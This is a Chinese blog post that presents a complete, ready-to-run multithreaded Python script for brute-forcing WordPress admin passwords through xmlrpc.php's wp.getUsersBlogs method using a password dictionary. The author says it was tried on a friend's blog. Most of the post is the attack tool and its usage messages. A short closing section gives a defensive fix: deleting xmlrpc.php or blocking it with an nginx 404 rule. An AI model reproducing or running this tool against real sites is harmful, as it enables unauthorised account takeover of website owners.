gojira.net
破解是利用的wordpress xmlrpc.php实现破解的。
使用python向wordpress的xmlrpc.php post以下数据,从返回的响应体中查找相应的字符串,从而实现破解。
[php]
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>www.waitalone.cn</value></param>
</params>
</methodCall>
[/php]
由于对python的多线程研究的不是很深入,所以无法做到在已经得到密码的情况下,停止其它线程的破解,如果加入了相关的控制语句,程序会卡死,希望对python多线程研究比较深入的大牛看到这篇文章的时候,能帮我改进一下程序,谢谢!
python版WordPress多线程暴力破解工具
[php]
#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf_8 -*-
# Date: 2015/4/29
# 博客 http://www.gojira.net/
import os, sys, time, urllib2
import threading, Queue
def usage():
os.system(['clear', 'cls'][os.name == 'nt'])
print '+' + '-' * 50 + '+'
print '\t Python WordPress暴力破解工具多线程版'
print '\t Blog:http://www.gojira.net/'
print '\t Time:2015-04-29'
print '+' + '-' * 50 + '+'
if len(sys.argv) != 4:
print '用法: ' + os.path.basename(sys.argv[0]) + ' 用户名 密码字典 待破解的网站URL地址 '
print '实例: ' + os.path.basename(sys.argv[0]) + ' admin pass.txt http://www.gojira.net/ '
sys.exit()
queue = Queue.Queue()
lock = threading.RLock()
success = []
class Crack(threading.Thread):
'''
WordPress xmlrpc多线程暴力破解类
'''
def __init__(self, queue):
super(Crack, self).__init__()
self.queue = queue
self.crack_url = url + 'xmlrpc.php'
def run(self):
while True:
try:
password = self.queue.get()
if password == None: break
self.post = '''
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>''' + username + '''</value></param>
<param><value>''' + password + '''</value></param>
</params>
</methodCall>
'''
self.header = {
'UserAgent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
'Referer': self.crack_url
}
self.req = urllib2.Request(self.crack_url, data=self.post, headers=self.header)
self.res = urllib2.urlopen(self.req, timeout=10).read().decode('utf-8').encode('GBK')
except Exception, msg:
lock.acquire()
print '发生了异常情况,卧槽!!!!!!!', msg
lock.release()
else:
lock.acquire()
if 'faultCode' in self.res:
print '[×] 报告爷,正在尝试密码: %s' % password
elif 'isAdmin' in self.res:
print '\n[√] 报告爷,密码破解成功: %s\n' % password
success.append(password)
lock.release()
finally:
self.queue.task_done()
if __name__ == '__main__':
usage()
username = sys.argv[1]
url = sys.argv[3]
if url[-1] != '/': url += '/'
print '[√] 目标:', url + '\n'
start = time.time()
if os.path.isfile(sys.argv[2]):
passlist = [x.strip() for x in open(sys.argv[2])]
print '[√] 报告爷,共有密码[ %d ]行!\n' % len(passlist)
for i in range(10):
t = Crack(queue)
t.setDaemon(True)
t.start()
for password in passlist:
queue.put(password)
queue.join()
if success:
print '\n[√] 大爷,您人品太好了,密码破解成功!'
print '\n[√] 用户名: %s,密码:%s' % (username, success[0])
else:
print '\n[!] 卧槽,居然没有找到密码,他爷爷的,字典不行呀!'
print '\n[!] 卧槽,这么快就执行完了?用时:%s 秒' % (time.time() - start)
else:
print '爷,没有密码字典,破解个毛呀?'
[/php]
用朋友的博客来测试下破解结果截图如下,对比单线程的,大概省10秒左右。
修复wordpress的xmlrpc.php漏洞最简单彻底的方法就是删除该文件,对网站访问无影响 (这个文件一般是第三方接口应用的,比如用WindowsLiveWriter写博客,用手机发布日志等等,一般我们是用不到的)
但是如果是更新wordpress的话,那么xmlrpc.php又会重新出现,那么我们可以在nginx里面直接返回404就行了,这样一劳永逸(apache规则自己对应改),如下:
[php]
location ~ ^/xmlrpc.php
{
return 404;
}
[/php]
第一句话就扎了我的心
博主,太爱你了。